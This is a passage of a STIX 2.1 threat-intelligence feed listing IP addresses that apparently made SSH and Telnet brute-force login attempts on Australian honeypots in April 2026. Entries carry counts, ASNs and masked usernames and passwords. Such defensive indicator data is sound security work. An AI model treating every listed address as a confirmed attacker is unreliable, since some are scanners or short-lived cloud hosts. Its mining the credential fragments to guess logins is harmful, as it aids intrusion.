      "created": "2026-04-09T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 15169. Organisation(s): Google LLC.",
      "id": "indicator--61141ba2-ce23-4802-852f-e026b312f911",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.216.189.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T04:15:14.000Z",
      "valid_until": "2026-05-11T04:15:09.000Z"
    },
    {
      "created": "2026-04-09T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--541cc4bf-f617-41ef-b96e-e5376f9333aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.54.35.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T04:15:14.000Z",
      "valid_until": "2026-05-11T04:15:09.000Z"
    },
    {
      "created": "2026-04-09T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2a01da51-d2ff-4704-8cd8-b8820cbeb9fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T05:15:10.000Z",
      "valid_until": "2026-05-11T05:15:08.000Z"
    },
    {
      "created": "2026-04-09T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 192. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--5389000c-c337-4513-8b32-0012c760aecd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.201.25.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T05:15:10.000Z",
      "valid_until": "2026-05-11T05:15:08.000Z"
    },
    {
      "created": "2026-04-09T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--2aef3b96-0fe3-4b7e-8ec9-31a65bf0c019",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T05:15:10.000Z",
      "valid_until": "2026-05-11T05:15:08.000Z"
    },
    {
      "created": "2026-04-09T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 650. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, o****e, u**r, ***, n***x. Passwords observed (masked): 1****6, a****3, *, ***, p******d.",
      "id": "indicator--4bcfc46d-a37c-4e21-998f-be9c185a9f6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.36.107.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T06:15:10.000Z",
      "valid_until": "2026-05-11T06:15:08.000Z"
    },
    {
      "created": "2026-04-09T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--c8b0843c-ec77-4c68-bd54-a28275f6f31b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.44.32.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T06:15:10.000Z",
      "valid_until": "2026-05-11T06:15:08.000Z"
    },
    {
      "created": "2026-04-09T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 265096. Organisation(s): PRGNET SERVICOS DE TELECOMUNICACOES. Usernames observed (masked): t*****g. Passwords observed (masked): 6****1.",
      "id": "indicator--0a90c4f1-8eec-4619-82cf-dee0d6a310ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '170.233.151.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T06:15:10.000Z",
      "valid_until": "2026-05-11T06:15:08.000Z"
    },
    {
      "created": "2026-04-09T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--de474ef0-63e2-4f73-a32d-b1972c00bc48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.221.68.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T06:15:10.000Z",
      "valid_until": "2026-05-11T06:15:08.000Z"
    },
    {
      "created": "2026-04-09T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--724268ff-d625-4a2c-83f3-e7c0cd3da1f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.88.178.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T06:15:10.000Z",
      "valid_until": "2026-05-11T06:15:08.000Z"
    },
    {
      "created": "2026-04-09T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): u**r. Passwords observed (masked): p***c.",
      "id": "indicator--c5da472a-eca2-4998-8a1d-70b5b225765f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.57.184.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T06:15:10.000Z",
      "valid_until": "2026-05-11T06:15:08.000Z"
    },
    {
      "created": "2026-04-09T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited. Usernames observed (masked): u****u. Passwords observed (masked): q*******..",
      "id": "indicator--d9ce354e-0006-4acf-9ebc-f77dae830c26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.200.66.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T06:15:10.000Z",
      "valid_until": "2026-05-11T06:15:08.000Z"
    },
    {
      "created": "2026-04-09T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--efecaea3-11c1-43a2-9342-3110d7f1ce3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.219.165.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T06:15:10.000Z",
      "valid_until": "2026-05-11T06:15:08.000Z"
    },
    {
      "created": "2026-04-09T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 25490. Organisation(s): Rostelecom.",
      "id": "indicator--7dbc9463-bf5d-4827-8423-12f1f6648964",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.175.72.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T06:15:10.000Z",
      "valid_until": "2026-05-11T06:15:08.000Z"
    },
    {
      "created": "2026-04-09T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 225. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 24544. Organisation(s): Overcasts Limited. Usernames observed (masked): r**t, 3**********4, u***1, ***, d****y. Passwords observed (masked): 3***********4, 3**********4, !******2, 1****6, 1******x.",
      "id": "indicator--c7b1ebc7-9370-4e53-98af-7ba418038a0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.243.26.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T07:15:04.000Z",
      "valid_until": "2026-05-11T07:15:02.000Z"
    },
    {
      "created": "2026-04-09T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t, s***m, u****u. Passwords observed (masked): 1****4, P******3, c****4.",
      "id": "indicator--6e40ffc7-b10d-4280-a28c-6a98079f4a67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.114.15.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T07:15:04.000Z",
      "valid_until": "2026-05-11T07:15:02.000Z"
    },
    {
      "created": "2026-04-09T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FI. ASN(s): 22363. Organisation(s): Powerhouse Management, Inc..",
      "id": "indicator--127bfc14-461a-4822-ba55-a350260f54f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '128.90.166.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T07:15:04.000Z",
      "valid_until": "2026-05-11T07:15:02.000Z"
    },
    {
      "created": "2026-04-09T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, a***n, d****y, n*****d, *. Passwords observed (masked): 1***5, 1*******!, 3***********4, R***********3, n*****d.",
      "id": "indicator--67d52f3d-80b1-4ec2-8eab-35c62e1e8d91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.39.204.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T07:15:04.000Z",
      "valid_until": "2026-05-11T07:15:02.000Z"
    },
    {
      "created": "2026-04-09T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1bcd17d9-56e7-46b4-9fcc-084af39864d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.241.252.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T07:15:04.000Z",
      "valid_until": "2026-05-11T07:15:02.000Z"
    },
    {
      "created": "2026-04-09T07:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 50219. Organisation(s): Valence Technology Co..",
      "id": "indicator--303ae204-7771-4a1a-bec0-1d30f1d4f8e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.164.107.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T07:15:04.000Z",
      "valid_until": "2026-05-11T07:15:02.000Z"
    },
    {
      "created": "2026-04-09T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): r**t, 3**********4, a***n, d**o, d****y. Passwords observed (masked): ***, 1***5, 1*******9, 3***********4, 3**********4.",
      "id": "indicator--bc7947fb-608e-4c9f-bfe7-2fac0d64ce86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.98.55.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T07:15:04.000Z",
      "valid_until": "2026-05-11T07:15:02.000Z"
    },
    {
      "created": "2026-04-09T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 12329. Organisation(s): GLASFASER RUHR GmbH & Co. KG. Usernames observed (masked): r**t, s***m, 3**********4, s****r, a*****s. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, A******4.",
      "id": "indicator--bfb25e9f-7314-4198-8453-8a04906ce82e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '212.23.133.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T07:15:04.000Z",
      "valid_until": "2026-05-11T07:15:02.000Z"
    },
    {
      "created": "2026-04-09T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, u****u, u*******n, ***. Passwords observed (masked): 3***********4, 3**********4, t**t, 1****3, 1**4.",
      "id": "indicator--87e225a0-92b5-45d5-9ec6-2fabdab82aa2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.112.78.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T07:15:04.000Z",
      "valid_until": "2026-05-11T07:15:02.000Z"
    },
    {
      "created": "2026-04-09T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, d****y, m***a, *, t*******k. Passwords observed (masked): 1***5, 3***********4, R*********@, T*********@, m***a.",
      "id": "indicator--a14b209b-6996-4d48-b751-ee7fbfe3fb8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.89.60.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T07:15:04.000Z",
      "valid_until": "2026-05-11T07:15:02.000Z"
    },
    {
      "created": "2026-04-09T07:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GR. ASN(s): 6799. Organisation(s): OTEnet S.A..",
      "id": "indicator--3a2d9b41-72df-461e-b1e2-b27f3b8308a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.74.96.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T07:15:04.000Z",
      "valid_until": "2026-05-11T07:15:02.000Z"
    },
    {
      "created": "2026-04-09T07:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8369. Organisation(s): Intersvyaz-2 JSC.",
      "id": "indicator--d9ace4cb-18cd-49ec-be9e-2a0e769c3791",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '88.206.103.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T07:15:04.000Z",
      "valid_until": "2026-05-11T07:15:02.000Z"
    },
    {
      "created": "2026-04-09T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): A**********, G************1. Passwords observed (masked): , H**********************3.",
      "id": "indicator--15710d81-0f1f-4204-9b1f-189395ca563f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.129.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T08:15:05.000Z",
      "valid_until": "2026-05-11T08:15:02.000Z"
    },
    {
      "created": "2026-04-09T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--9525cd3f-a376-4380-988d-afaf37bfeceb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T08:15:05.000Z",
      "valid_until": "2026-05-11T08:15:02.000Z"
    },
    {
      "created": "2026-04-09T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--50709f59-da31-4a49-add8-d4bc176f525b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T08:15:05.000Z",
      "valid_until": "2026-05-11T08:15:02.000Z"
    },
    {
      "created": "2026-04-09T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--45bf1fe4-b63f-47fd-aa5b-d07a32f139db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T08:15:05.000Z",
      "valid_until": "2026-05-11T08:15:02.000Z"
    },
    {
      "created": "2026-04-09T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--8790ed65-bd2a-4716-8582-f33e9a755928",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.45.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T09:15:05.000Z",
      "valid_until": "2026-05-11T09:15:02.000Z"
    },
    {
      "created": "2026-04-09T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--960bd210-1721-4d75-a3a4-a919913b8c76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.149.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T09:15:05.000Z",
      "valid_until": "2026-05-11T09:15:02.000Z"
    },
    {
      "created": "2026-04-09T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--835b61d8-d463-4d4a-81d2-729c156651f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.103.104.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T09:15:05.000Z",
      "valid_until": "2026-05-11T09:15:02.000Z"
    },
    {
      "created": "2026-04-09T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--af24be78-084a-4325-ae62-6ef056277e42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.23.232.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T09:15:05.000Z",
      "valid_until": "2026-05-11T09:15:02.000Z"
    },
    {
      "created": "2026-04-09T10:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--b7426580-3410-41fb-b88c-ca8eea9c8808",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T10:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.227.156.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T10:15:04.000Z",
      "valid_until": "2026-05-11T10:15:02.000Z"
    },
    {
      "created": "2026-04-09T10:15:04.000Z",
